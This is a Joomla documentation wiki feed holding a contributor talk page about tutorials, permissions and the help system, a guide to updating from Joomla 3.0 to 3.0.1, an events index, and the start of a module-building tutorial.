Linking to external sites is classed as &amp;quot;self-promotion&amp;quot;.  If you wish to contribute videos (or any other resource) then they need to be hosted on our infrastructure.  Ideally they will also be JEDL licensed, although we will consider material under other open licenses as long as the license terms are clearly shown.  I look forward to seeing your videos.  Just send them to me and I&#039;ll arrange to put them in an appropriate place.  Thanks. [[User:Chris Davenport|Chris Davenport]] 03:43, 12 December 2008 (EST)&lt;br /&gt;
&lt;br /&gt;
== basic template tutorial ==&lt;br /&gt;
&lt;br /&gt;
You removed the warning notice I added to the tutorial, IMHO it is better to warn people that the basic tutorial will *not* give them a working template than letting them wonder why the template manager refuse to install their template. This notice should stay until someone fix the tutorial. For example removing the reference to the optional background.png from the xml because joomla will complain about a missing file and refuse to install the template. The xml example ought to be coherent with the outline of folder/file structure. Adding some mention of the role and importance the thumbnail file is another thing worth mention among the errors I had to fix for the template to actually install.&lt;br /&gt;
&lt;br /&gt;
I removed your comments because they were not constructive.  If you encountered a specific problem with the tutorial you should describe the issue in enough detail that someone would be able to reproduce it and then be able to amend the tutorial.  You should also do that on the Talk: page rather than on the page itself.  Better still you could amend the tutorial yourself; we welcome additions or amendments that improve the documentation. [[User:Chris Davenport|Chris Davenport]] 08:52, 15 November 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
This revert thing is gonna get old quick. I can easily return the compliment and say I undid your removal because it&#039;s not constructive either, that If you encountered a specific problem with my editing, you should tell me about it in details on my talk page or point that warning readers that the tutorial is broken is improving the documentation, and the first step of actually fixing it. You should know better than what you did, I don&#039;t have the required knowledge and time to fix it myself. If you wanted to reproduce the issue, you just have to follow the tutorial step-by-step, better yet you can read the tutorial and you&#039;ll notice that it cannot work as is, or maybe just read what I wrote above and you&#039;ll see I did exactly what you asked me. On a related note don&#039;t invite someone to do something them block their account to prevent him from doing so, act stupid and treat people badly and they will act stupid too and behave as you expect them too. IMHO it&#039;s not smart to fight over such a ridiculous thing, but if you want me to waste both your and my time I&#039;ll take you on your challenge, so unless you&#039;re willing to block the whole ip range I&#039;m using, I&#039;ll come back and do it again. This is the kind of behaviour you usually get from relying on http://meatballwiki.org/wiki/HardSecurity first and not trying to communicate instead of http://meatballwiki.org/wiki/SoftSecurity. see you soon from another ip. While at it also read http://meatballwiki.org/wiki/CriticismIsFeedback&lt;br /&gt;
&lt;br /&gt;
All I am asking is that you edit the page in such a way that others can see the problem you encountered and can correct the information given.  Simply saying that &amp;quot;...will end up in a few various errors...&amp;quot; does little to help us.  What errors did you encounter?  What version of Joomla were you using?  What platform are you running Joomla on?  Just stating that there are errors is like submitting a bug report that does nothing more than state that there is a bug in 1.6.  Your hostile behaviour is uncalled for.  07:29, 16 November 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
== Templates ==&lt;br /&gt;
&lt;br /&gt;
Hello&lt;br /&gt;
I wanna ask, who can edit the Template Namespace in this Wiki? It would be cool, if a &amp;quot;normal&amp;quot; user could add some templates, cause I got a permission denied message --[[User:Bembelimen|Bembelimen]] 20:17, 23 December 2008 (UTC)&lt;br /&gt;
&lt;br /&gt;
I wasn&#039;t aware that it was restricted.  What page/template are you trying to edit/create? [[User:Chris Davenport|Chris Davenport]] 21:06, 23 December 2008 (UTC)&lt;br /&gt;
:It doesn&#039;t matter which one i try to edit or create. I get everytime this message:&lt;br /&gt;
:&#039;&#039;&#039;Permission error&#039;&#039;&#039;&lt;br /&gt;
:You do not have permission to edit pages, for the following reason:&amp;lt;br /&amp;gt;&lt;br /&gt;
:You do not have permission to edit pages in the &#039;&#039;&#039;Template&#039;&#039;&#039; namespace.&lt;br /&gt;
:--[[User:Bembelimen|Bembelimen]] 21:37, 23 December 2008 (UTC)&lt;br /&gt;
&lt;br /&gt;
I moved you to the Editors group.  Try it now.  [[User:Chris Davenport|Chris Davenport]] 23:36, 23 December 2008 (UTC)&lt;br /&gt;
:works now, thank you --[[User:Bembelimen|Bembelimen]] 23:52, 23 December 2008 (UTC)&lt;br /&gt;
&lt;br /&gt;
== J1.6 Help system ==&lt;br /&gt;
&lt;br /&gt;
I read that all will be different for Help in 1.6.  Can you please point me to plans for Help 1.6? Tony Davis 06:02, 3 November 2009 (UTC)&lt;br /&gt;
&lt;br /&gt;
Help for Joomla 1.5 and prior versions has traditionally been served from pages on http://help.joomla.org, which is itself a Joomla instance.  In fact, the help system implemented in all Joomla versions up to 1.5 is hard-coded to require that the help server be a Joomla instance (probably not intentionally, but that&#039;s the way it worked out).  That caused a couple of problems:&lt;br /&gt;
# When we moved the focus of the documentation effort to a wiki, it made sense to construct the help screens on the wiki too.  However, this meant that we had to copy-paste the help screens from the wiki to help.joomla.org and whilst this is straightforward in theory, it is actually very labour-intensive and there is a lot of manual &amp;quot;fixing-up&amp;quot; that had to be done.&lt;br /&gt;
# It didn&#039;t solve a problem that had always existed with the help screens: clicking on a link in a help screen causes the next page to be loaded to appear with the full Joomla template, including headers, footers and modules, when it would be better to have just the help screen content display.&lt;br /&gt;
The first of these problems is addressed by serving the help screens directly from the wiki.  However, this requires some minor code changes in Joomla itself.  There is a patch to enable 1.5 to access non-Joomla help servers, but I believe it needs tweaking for 1.6 and I haven&#039;t had chance to do that yet.  The second of these problems is addressed by serving the help screens via a proxy instead of directly from the wiki.  The proxy is a Joomla instance running a small component and is already set up and running at http://help.joomla.org/proxy.  It uses the wiki&#039;s web API to pull data from the wiki and because it has a stripped-down default template, it doesn&#039;t deliver any headers, footers or modules that are not intended.&lt;br /&gt;
&lt;br /&gt;
As for the help screens themselves, the user interface for 1.6 is not yet fixed so it probably not wise to start writing the help screens (which generally involve a lot of screenshots) until it is.  It is expected that the UI will be fixed when the first beta is released, so that should be the starting point for writing help screens.  Of course, there&#039;s nothing to stop anyone starting before then, you just need to be aware that changes are very likely to happen.&lt;br /&gt;
&lt;br /&gt;
The other area which is still &amp;quot;up for grabs&amp;quot; is a new key reference scheme.  The help system works by having a &amp;quot;key reference&amp;quot; embedded in the code.  This is then used to construct a URL from which the help screen is pulled.  You can see the traditional naming scheme here: [[Help screens]].  However, with 1.6 we have the opportunity to completely revise this scheme if we want to.  For example, we could add a namespace to the key reference, giving us &amp;quot;Joomla16:Config&amp;quot; instead of &amp;quot;screen.config.16&amp;quot;, say.  I&#039;m not saying we should do that; I&#039;m just illustrating the point that we have a great deal of flexibility and with 1.6 we don&#039;t have to worry about backwards-compatibility as there won&#039;t be any even if we stick with the current naming scheme.&lt;br /&gt;
&lt;br /&gt;
In 1.5 (and before) the Joomla version number was appended to the basic key reference automatically.  With the new help system, we can construct URL&#039;s with a lot more flexibility and we can make use of the following variables:&lt;br /&gt;
* keyref&lt;br /&gt;
*: The basic key reference itself&lt;br /&gt;
* major&lt;br /&gt;
*: The major part of the Joomla version number.&lt;br /&gt;
* minor&lt;br /&gt;
*: The minor part of the Joomla version number.&lt;br /&gt;
* maintenance&lt;br /&gt;
*: The maintenance part of the Joomla version number.&lt;br /&gt;
* language&lt;br /&gt;
*: The full language code (eg. &amp;quot;en-GB&amp;quot;)&lt;br /&gt;
* langregion&lt;br /&gt;
*: The region part of the language code (eg. &amp;quot;GB&amp;quot;).&lt;br /&gt;
These variables can be used anywhere within a help system URL to construct the page name to be retrieved.&lt;br /&gt;
&lt;br /&gt;
Hope that helps.&lt;br /&gt;
[[User:Chris Davenport|Chris Davenport]] 09:36, 3 November 2009 (UTC)&lt;br /&gt;
Thanks for that Chris.&lt;br /&gt;
&lt;br /&gt;
I take it from the above that one decision (or obvious thing) is that 1.6 Help will be a Joomla based system.  Which leads to the question - Should the documentation be similarly based?  I see it all being of a piece - the Help Screens being the descriptive part of the User Manual but there also being Introductory texts, Tutorials, Videos, Recipes (a lesser form of Tutorial to encourage folk to write them).  It will be accessed either contextually - as a Help System - or like a Cookery Book or like a programming tutorial text.  Is this totally daft?&lt;br /&gt;
&lt;br /&gt;
I have built a whole heap of wiki pages and have learnt loads.  see [http://docs.joomla.org/Manual_1_6 the root]  I am concerned about controlling it.  Could you look at Amy&#039;s Ning in two places [http://www.alltogetherasawhole.org/group/joomla16userguide/forum/topics/are-things-going-in-the-right bottom of this page] and [http://www.alltogetherasawhole.org/group/joomla16userguide/forum/topics/style-and-content this post] asking for volunteers. &lt;br /&gt;
&lt;br /&gt;
All advice gratefully received. Tony Davis 22:02, 3 November 2009 (UTC)&lt;br /&gt;
&lt;br /&gt;
Not sure I follow what you mean when you say that &amp;quot;1.6 Help will be a Joomla based system&amp;quot;.  The English help screens for 1.6 are going to be served from the wiki, although they are going through a proxy that happens to be running Joomla (I could just as easily have written some standalone PHP to act as a proxy, or if I knew how, a Drupal instance).  The fact that all the documentation will be in the wiki, including the help screens, means that we can share content between the help screens and other forms of documentation.  For example, I hope that the new 1.6 help screens will include links to more task-orientated pages.  I wouldn&#039;t include the help screens as such in the User Manual as they mostly just describe what you see on a particular Administrator screen.  I think that the User Manual (or Administrator&#039;s Manual as I prefer to call it) should be more task/goal orientated.  I made a start at  the sort of material I thought was appropriate on this page: [[Administrators]].  This is not to say that we cannot share content between the help screens and the User Manual though, but including an entire help screen in the User Manual is probably not very helpful.&lt;br /&gt;
&lt;br /&gt;
I haven&#039;t had chance to read the Ning pages thoroughly, but I think Amy is right when she says that we should not expect authors to be wiki experts.  We need to encourage people to write the raw material that can then be shaped by others into the modular, context-independent form that is the life-blood of a single-source, modular documentation system.  [[User:Chris Davenport|Chris Davenport]] 23:19, 3 November 2009 (UTC)&lt;br /&gt;
&lt;br /&gt;
== Vulnerable Extensions Updates ==&lt;br /&gt;
&lt;br /&gt;
I noticed you are in process of updating the page. I am wondering if your update might contain any new information regarding Zoom Media Gallery (a now dead project), or Ice Gallery (Zoom&#039;s replacement project, which may also be either dead or in serious limbo). Ice Gallery, it seems, has a serious vulnerability, and is not yet listed here. In any event, Ice should be added, and Zoom entry should be updated as well. I have the info, and can do, if you don&#039;t. --[[User:Riverside|Riverside]] 00:16, 21 November 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
I&#039;m not involved in maintaining that information.  Please email vel@joomla.org to report vulnerabilities.  Thank you.  [[User:Chris Davenport|Chris Davenport]] 00:25, 21 November 2010 (UTC)&lt;br /&gt;
:Sorry, I was looking at the wrong history page (talk, instead of the main page ~ so apparently it wasn&#039;t you editing it), but I will send what I&#039;ve found there. Thanks. --[[User:Riverside|Riverside]] 18:58, 21 November 2010 (UTC)&lt;br /&gt;
&lt;br /&gt;
==Templates for 1.6==&lt;br /&gt;
Chris,&lt;br /&gt;
Just wondering if you got my email regarding chunks and templates for the 1.6 help screens.  I&#039;d like to be editing and updating a lot of these screens but I&#039;m not going to do anything until we can figure out a good way to handle chunks.&lt;br /&gt;
Would appreciate a response.&lt;br /&gt;
[[User:219jondn|219jondn]] 01:48, 21 January 2011 (UTC)&lt;br /&gt;
&lt;br /&gt;
== Terminology ==&lt;br /&gt;
&lt;br /&gt;
I note that you removed the material I put on the evaluators page about terminology. &lt;br /&gt;
Could you clarify your reasons please ? [[User:Vernonr|Vernonr]] 10:27 4 April 2011 (UTC)&lt;br /&gt;
&lt;br /&gt;
Yes, you linked to material on your user page, which is not a good idea as all material should be in one of the main namespaces rather than in personal areas.  Plus, your user page contained references to external sites which could be construed as self-promotion (see [[JDOC:Wiki_policy|Wiki_policy]].  Although the links are acceptable on user pages, they would not be acceptable on main documentation pages.  You can fix it easily by writing directly in the Evaluators page and not linking to external sites. [[User:Chris Davenport|Chris Davenport]] 19:53, 4 April 2011 (UTC)&lt;br /&gt;
&lt;br /&gt;
OK. How can one create a new page in the main namespace ?&lt;br /&gt;
&lt;br /&gt;
I think it would make more sense to have an introductory page about terminology than to try and fit the material into the Evaluators page, and there could be other pages in the main namespace that should have the link. Would I be right in thinking that noting the authorship of articles is allowed under [[JDOC:Wiki_policy|Wiki_policy]] i.e. a link to the user page [[User:Vernonr|Vernonr]] 10:20 5 April 2011 (UTC)&lt;br /&gt;
&lt;br /&gt;
You don&#039;t need any additional permissions to create pages in the main namespace, so just go right ahead.  It is not necessary to note authorship in the pages themselves as all pages have full version history automatically recorded, including links to user pages (just click the &amp;quot;history&amp;quot; tab on any page). [[User:Chris Davenport|Chris Davenport]] 21:14, 5 April 2011 (UTC)&lt;br /&gt;
&lt;br /&gt;
=== Change permission of content ===&lt;br /&gt;
Hi.&lt;br /&gt;
I would ask permission to move pages from the template namespace which are actually in course descriptions and pages that have links pointing to them.&lt;br /&gt;
I have as main objective the wiki organization and redesign the landing pages.&lt;br /&gt;
&lt;br /&gt;
Thanks,&lt;br /&gt;
[[User:Wgviana|WGViana]]&lt;br /&gt;
&lt;br /&gt;
Hi WGVianna.  Can you give me some examples of the changes you are proposing?  Moving templates needs to be done with care and I want to make sure that what you are proposing fits with our overall objectives.  Thanks.  [[User:Chris Davenport|Chris Davenport]] 14:39, 8 September 2011 (CDT)&lt;br /&gt;
&lt;br /&gt;
Hi Chris.&lt;br /&gt;
List pages =&amp;gt; [http://docs.joomla.org/index.php?title=Special%3AAllPages&amp;amp;from=&amp;amp;to=&amp;amp;namespace=10|SpecialPages:Allpages], there are pages in this namespace that are in my view should namespace &#039;&#039;&#039;description&#039;&#039;&#039; such as:&lt;br /&gt;
*[[Template:Beginner_profile]]&lt;br /&gt;
*[[Template:Framework]]&lt;br /&gt;
*[[Template:Model-View-Controller]]&lt;br /&gt;
*[[Template:Upgrade_Package]]&lt;br /&gt;
*[[Template:Upgrade-test]]&lt;br /&gt;
*[[Template:Version_Control_Software]]&lt;br /&gt;
[[User:Wgviana|WGViana]] 12:00, 9 September 2011&lt;br /&gt;
&lt;br /&gt;
Hi Wgviana.  I agree they should not be in the Template: namespace.  However, I think they should be moved to the Chunk: namespace rather than Description:.  The Description: namespace was set up specifically for class and method descriptions in the API Reference.  I have added you to the Editors group so you should be able to make the changes yourself now.  Thanks for volunteering.  [[User:Chris Davenport|Chris Davenport]] 16:15, 12 September 2011 (CDT)&lt;br /&gt;
&lt;br /&gt;
==Minor Spelling Issue==&lt;br /&gt;
Hi Chris, Top of the protected page:[http://docs.joomla.org/Vulnerable_Extensions_List Vulnerable_Extensions_List] &amp;quot;Jnuary&amp;quot; is probably &amp;quot;January&amp;quot; with an &amp;quot;a&amp;quot;. Thank you&lt;br /&gt;
&lt;br /&gt;
== Translations into french ==&lt;br /&gt;
&lt;br /&gt;
Hi. I&#039;m a french speaking Joomla enthousiast ;) I&#039;d like to port Security Guide into French, as this seems to be a main concern for some french speaking users. I could of course host that on my personal page, or as a guide on the french forum about Joomla, but I think that the best way should be to start a translation of the Wiki into french. Do you think it could be possible to have a subpage like the ones available for the brochure ? Is there something specific to do ? Is it a good practice or not ?&lt;br /&gt;
&lt;br /&gt;
[[User:Elnikoff|Elnikoff]] 03:25, 30 November 2011 (CST)&lt;br /&gt;
&lt;br /&gt;
== Help25 ==&lt;br /&gt;
&lt;br /&gt;
What are those changes you did with Help25?? [[User:Oc666|oc666]] 17:04, 25 December 2011 (CST)&lt;br /&gt;
&lt;br /&gt;
Help25 is a new namespace for the Joomla 2.5 help screens.  So far I have just copied across all the Joomla 1.7 help screens and amended all 1.6/1.7 references to 2.5.  I&#039;m just now trying to work systematically through all the toolbar sections. If you have some time and you&#039;d like to lend a hand, just dive straight in, or let me know if you need some pointers. [[User:Chris Davenport|Chris Davenport]] 17:10, 25 December 2011 (CST)&lt;br /&gt;
&lt;br /&gt;
== Define default name ==&lt;br /&gt;
&lt;br /&gt;
What should be the correct nomenclature?&lt;br /&gt;
manager or management&lt;br /&gt;
{|&lt;br /&gt;
|-style=&amp;quot;vertical-align:top&amp;quot;&lt;br /&gt;
|&amp;lt;categorytree&amp;gt;Extensions&amp;lt;/categorytree&amp;gt;&lt;br /&gt;
|&amp;lt;categorytree&amp;gt;Components&amp;lt;/categorytree&amp;gt;&lt;br /&gt;
|&amp;lt;categorytree&amp;gt;Languages&amp;lt;/categorytree&amp;gt;&lt;br /&gt;
|&amp;lt;categorytree&amp;gt;Modules&amp;lt;/categorytree&amp;gt;&lt;br /&gt;
|&amp;lt;categorytree&amp;gt;Plugins&amp;lt;/categorytree&amp;gt;&lt;br /&gt;
|&amp;lt;categorytree&amp;gt;Templates&amp;lt;/categorytree&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
I believe we should create the following categories:&lt;br /&gt;
* Language&lt;br /&gt;
** Language Management&lt;br /&gt;
and organizer:&lt;br /&gt;
* Extension Management&lt;br /&gt;
** Component Management&lt;br /&gt;
** Language Management&lt;br /&gt;
** Module Management&lt;br /&gt;
** Plugin Management&lt;br /&gt;
** Template Management&lt;br /&gt;
--[[User:Wgviana|Wgviana]] 14:49, 25 March 2012 (CDT)&lt;br /&gt;
&lt;br /&gt;
I think that &amp;quot;manager&amp;quot; would refer to the component whereas &amp;quot;management&amp;quot; would refer to the process.  Personally, I think &amp;quot;management&amp;quot; would be more appropriate in the category names.  [[User:Chris Davenport|Chris Davenport]] 16:20, 25 March 2012 (CDT)&lt;br /&gt;
&lt;br /&gt;
== External links come automatically with signature ==&lt;br /&gt;
&lt;br /&gt;
Hello Chris,&lt;br /&gt;
&lt;br /&gt;
Not to complain, but just to inform you why the link to my site appeared on [[http://docs.joomla.org/index.php?title=Accessing_the_database_using_JDatabase&amp;amp;action=history]] (and possibly make someone change this wiki automatisation):&lt;br /&gt;
It&#039;s because I put 3 tilda&#039;s there to let everyone know which user said this (as I thought was appropriate because it was rather a editing note and not joomla specific knowledge).&lt;br /&gt;
So, maybe the 3 tilda&#039;s should be changed somehow in this wiki? Because after all, I&#039;d still want that link to exist in my User info.&lt;br /&gt;
&lt;br /&gt;
Cheers&lt;br /&gt;
(No reply needed, you can immediatly delete this if you want)&lt;br /&gt;
&lt;br /&gt;
:Hmm, okay.  I usually use 4 tildas, so this is a test with 3 tildas. [[User:Chris Davenport|Chris Davenport]] ([[User talk:Chris Davenport|talk]])&lt;br /&gt;
&lt;br /&gt;
:So for me using 3 tildas just adds links to the user&#039;s local profile page and profile talk page.  Ahh, I wonder if you have a link in your signature.  Please check the signature field in your user preferences and remove the external link if there is one.  Thanks. [[User:Chris Davenport|Chris Davenport]] ([[User talk:Chris Davenport|talk]]) 15:18, 12 September 2012 (CDT)&lt;br /&gt;
::Apperently it had everything to do with my signature.  I originally thought that had nothing to do with the tilda&#039;s, but it has. [[User:E-builds|E-motiv (former E-builds)]] ([[User_talk:E-builds|talk]]) 15:01, 21 September 2012 (CDT)&lt;br /&gt;
:::Thanks. [[User:Chris Davenport|Chris Davenport]] ([[User talk:Chris Davenport|talk]]) 03:32, 22 September 2012 (CDT)&lt;br /&gt;
&lt;br /&gt;
== Deleting page sends mail &amp;quot;created page&amp;quot; ?? ==&lt;br /&gt;
&lt;br /&gt;
Hello again Chris,&lt;br /&gt;
&lt;br /&gt;
I got a mail from the wiki saying you just created the page http://docs.joomla.org/Using_a_custom_image_in_the_Menu_Bar_title.&lt;br /&gt;
I guess this is some template or other wiki misconfiguration, since you just deleted it.&lt;br /&gt;
I didn&#039;t know where to put this comment, so here it is.  Feel free to forward to someone responsible, able or willing to fix it. :-)&lt;br /&gt;
[[User:E-builds|E-motiv (former E-builds)]] ([[User_talk:E-builds|talk]])&lt;br /&gt;
&lt;br /&gt;
:It&#039;s a &amp;quot;bug&amp;quot; that&#039;s been in MediaWiki for years.  The notification emails are identical whether a page is amended or deleted.  I&#039;m so used to it now I just don&#039;t notice it any more. [[User:Chris Davenport|Chris Davenport]] ([[User talk:Chris Davenport|talk]]) 14:25, 4 October 2012 (CDT)&lt;br /&gt;
&lt;br /&gt;
== CodeExamples en categories with :: ==&lt;br /&gt;
&lt;br /&gt;
Hallo again, Chris,&lt;br /&gt;
Weren&#039;t you the guy that included CodeExamples in this wiki?&amp;lt;br/&amp;gt;&lt;br /&gt;
If not, any idea who is or who is the wiki-responsible  to talk to? &amp;lt;br/&amp;gt;&lt;br /&gt;
If so, read on..&lt;br /&gt;
&lt;br /&gt;
I tried to help people by giving this CodeExample [[CodeExample:JHtml::stylesheet]], but it doesn&#039;t show up in the JHtml::stylesheet.&amp;lt;br/&amp;gt; On inspection of some of those pages, I noticed that a lot of (if not all) categories that have a &amp;quot;::&amp;quot; in them, show up as red (as if they don&#039;t exist), but they do.  so I was wondering if that wasn&#039;t also the reason for my code-example not to show up.&lt;br /&gt;
[[User:E-builds|E-motiv (former E-builds)]] ([[User_talk:E-builds|talk]]) 12:26, 4 October 2012 (CDT)&lt;br /&gt;
&lt;br /&gt;
:The CodeExample extension is currently broken following an upgrade to the MediaWiki software.  I keep meaning to try to fix it, but workload keeps getting the better of me.  If you&#039;re a developer and you&#039;d like to take a look then please drop me a line. [[User:Chris Davenport|Chris Davenport]] ([[User talk:Chris Davenport|talk]]) 14:25, 4 October 2012 (CDT)&lt;br /&gt;
&lt;br /&gt;
== Mediwiki Spam a better way to manage it ==&lt;br /&gt;
Hello Chris,&lt;br /&gt;
&lt;br /&gt;
Looking thru the &#039;&#039;Recent Changes&#039;&#039; it seems like a lot of bogus wiki accounts are made and then used to spam the wiki. Has anyone looked at installing the [http://www.mediawiki.org/wiki/Extension:ConfirmAccount Extension:ConfirmAccount] and instead of requesting a 50 word biography for the request form only ask for about 5 words to prove they are human that then can be rejecting or accepted? The intent being to reduce the amount of time currently spent chasing and deleting the spam pages and is not to get a real bio only to see if it is a real person who is not planning just to spam the wiki.&lt;br /&gt;
&lt;br /&gt;
The request wording: &#039;&#039;&#039;Are you a human, and not just signing up to spam our wiki? One of the Joomla! people will read what you write here and then confirm your account. Sorry for the inconvenience, but reducing spam on the wiki makes this step necessary...&#039;&#039;&#039;&lt;br /&gt;
* Q:Why do you want a login? (plain text only):&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=How_to_update_from_joomla_3.0_to_3.0.1&amp;diff=76440</id>
		<title>How to update from joomla 3.0 to 3.0.1</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=How_to_update_from_joomla_3.0_to_3.0.1&amp;diff=76440"/>
		<updated>2012-10-13T06:33:04Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;(note: Joomla 3.0.1 was released at 09 October 2012 22:06 PDT)&lt;br /&gt;
&lt;br /&gt;
This tutorial will show you how to update from Joomla 3.0.0 to 3.0.1, which is a bit different than normal. &lt;br /&gt;
&lt;br /&gt;
If you use Joomla!&#039;s FTP layer please see Note 3 below.&lt;br /&gt;
&lt;br /&gt;
== Backup your site ==&lt;br /&gt;
&lt;br /&gt;
The update process is generally safe, but it&#039;s always a good idea to make a backup before updating. So  please go ahead and make a backup of your site now.&lt;br /&gt;
&lt;br /&gt;
== Install the hotfix patch via Extension Manager. ==&lt;br /&gt;
&lt;br /&gt;
[[Image:media_1349743656750.png|frame|none]]&lt;br /&gt;
&lt;br /&gt;
=== Go to the Install from URL tab===&lt;br /&gt;
=== Copy and Past the Update URL===&lt;br /&gt;
The URL for the hot patch is: http://joomlacode.org/gf/download/frsrelease/17575/76677/joomla_3-0-0_hotpatch.zip. Copy and paste this into the Install URL text box.&lt;br /&gt;
&lt;br /&gt;
[[Image:media_1349749085366.png|frame|none]]&lt;br /&gt;
&lt;br /&gt;
== Install ==&lt;br /&gt;
&lt;br /&gt;
If you have any difficulty installing from URL, download the file to your computer and install using Upload Package File.&lt;br /&gt;
&lt;br /&gt;
== Set the Joomla! Update Server to Short Term Support ==&lt;br /&gt;
&lt;br /&gt;
Navigate to Components&amp;amp;rarr;Joomla! Update and click the Options button. Change the Update server to Short Term Support as shown below.&lt;br /&gt;
&lt;br /&gt;
[[Image:Version-3-0-1-update-image01.png|frame|none]]&lt;br /&gt;
Click &#039;&#039;&#039;Save &amp;amp; Close&#039;&#039;&#039; to save the change.&lt;br /&gt;
&lt;br /&gt;
== Update to Joomla 3.0.1 via the Joomla! update component==&lt;br /&gt;
After getting the success message, go to Components &amp;gt;&amp;gt; Joomla! Update.&lt;br /&gt;
&lt;br /&gt;
[[Image:media_1349749557492.png|frame|none]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Note #1: If you are not getting the &amp;quot;Note: Hot patch for 3.0.1 update is installed&amp;quot; message, then please repeat Step 2 or ask for some help from a trusted developer.&lt;br /&gt;
&lt;br /&gt;
Note #2: If you&#039;re not getting the &amp;quot;Joomla! update was found&amp;quot;, click on Purge Cache button.&lt;br /&gt;
&lt;br /&gt;
If you see both of the above, Install the Update.&lt;br /&gt;
[[Image:media_1349745128572.png|frame|none]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Note #3: If you use FTP, you might have to FTP the update package, which you can download at:&lt;br /&gt;
&lt;br /&gt;
http://joomlacode.org/gf/project/joomla/frs/?action=FrsReleaseBrowse&amp;amp;frs_package_id=6517&lt;br /&gt;
&lt;br /&gt;
&amp;lt;noinclude&amp;gt;[[Category:Version 3.0 FAQ]]&lt;br /&gt;
[[Category:Version 3.0.0 FAQ]]&lt;br /&gt;
[[Category:Version 3.0.1 FAQ]]&amp;lt;/noinclude&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Events&amp;diff=76439</id>
		<title>Events</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Events&amp;diff=76439"/>
		<updated>2012-10-13T06:31:50Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Here you can find all information about Events in the Joomla!Universe. In general the [[Events Working Group]] is responsible for events, some events are organised by another group but asking the [[Events Working Group]] is always a good idea.&lt;br /&gt;
 &lt;br /&gt;
* [[Joomla! Days]]&lt;br /&gt;
* [[Joomla! Documentation Camps]]&lt;br /&gt;
* [[Joomla! Developer Conference / Road Map Meetings]]&lt;br /&gt;
* [[other Events with Joomla! in the name]]&lt;br /&gt;
* [[Pizza, Bugs and Fun]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Events Working Group]]&lt;br /&gt;
[[Category:Events]]&lt;/div&gt;</summary>
		<author><name>Cadrlp</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=User_talk:Niravmehta2009&amp;diff=75262</id>
		<title>User talk:Niravmehta2009</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=User_talk:Niravmehta2009&amp;diff=75262"/>
		<updated>2012-09-17T21:29:14Z</updated>

		<summary type="html">&lt;p&gt;Cadrlp: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Creating MW Module for Joomla 2.5 with Mehta Websolution ==&lt;br /&gt;
&lt;br /&gt;
A module is a lightweight and flexible extension that is used for page rendering. They are used for small bits of the page that are generally less complex and are able to be seen across different components.&lt;br /&gt;
&lt;br /&gt;
You can see many examples of modules in the standard Joomla! install: - menus - Latest News - Login form - and many more.&lt;br /&gt;
&lt;br /&gt;
This tutorial will explain how to go about creating a simple Hello World module. Through this tutorial you will learn the basic file structure of a module. This basic structure can then be expanded to produce more elaborate modules.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== File Structure ==&lt;br /&gt;
&lt;br /&gt;
There are four basic files that are used in the standard pattern of module development: &lt;br /&gt;
* &amp;lt;tt&amp;gt;mod_mw_okie_dude.php&amp;lt;/tt&amp;gt; - This file is the main entry point for the module. It will perform any necessary initialization routines, call helper routines to collect any necessary data, and include the template which will display the module output.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;tt&amp;gt;mod_mw_okie_dude.xml&amp;lt;/tt&amp;gt; - This file contains information about the module. It defines the files that need to be installed by the Joomla! installer and specifies configuration parameters for the module.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;tt&amp;gt;tmpl/default.php&amp;lt;/tt&amp;gt; - This is the module template. This file will take the data collected by mod_mw_okie_dude.php and generate the HTML to be displayed on the page.&lt;br /&gt;
&lt;br /&gt;
== Creating mod_mw_okie_dude.php ==&lt;br /&gt;
&lt;br /&gt;
The complete mod_mw_okie_dude.php file is as follows:&lt;br /&gt;
 &lt;br /&gt;
&amp;lt;source lang=&amp;quot;php&amp;quot;&amp;gt;&amp;lt;?php&lt;br /&gt;
/**&lt;br /&gt;
 * @module MW Okie Dude - Joomla 2.5 Module&lt;br /&gt;
 * @author Nirav Mehta ( Mehta Websolution ) &lt;br /&gt;
 * @companyname Mehta Websolution&lt;br /&gt;
 * @link http://mehtawebsolution.com&lt;br /&gt;
 * @package    Mehta Websolution - Joomla Tutorials&lt;br /&gt;
 * @subpackage Modules&lt;br /&gt;
 * @link http://dev.joomla.org/component/option,com_jd-wiki/Itemid,31/id,tutorials:modules/&lt;br /&gt;
 * @license        GNU/GPL, see LICENSE.php&lt;br /&gt;
 * mod_mw_okie_dude is free software. developed by www.mehtawebsolution.com &lt;br /&gt;
 * This version may have been modified pursuant.&lt;br /&gt;
 * to the GNU General Public License, and as distributed it includes or&lt;br /&gt;
 * is derivative of works licensed under the GNU General Public License or&lt;br /&gt;
 * other free or open source software licenses.&lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
// no direct access&lt;br /&gt;
defined( &#039;_JEXEC&#039; ) or die;&lt;br /&gt;
&lt;br /&gt;
require JModuleHelper::getLayoutPath(&#039;mod_mw_okie_dude&#039;);&lt;br /&gt;
&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The one line that we haven’t explained so far is the first line. This line checks to make sure that this file is being included from the Joomla! application. This is necessary to prevent variable injection and other potential security concerns.&lt;br /&gt;
&lt;br /&gt;
== Creating tmpl/default.php ==&lt;br /&gt;
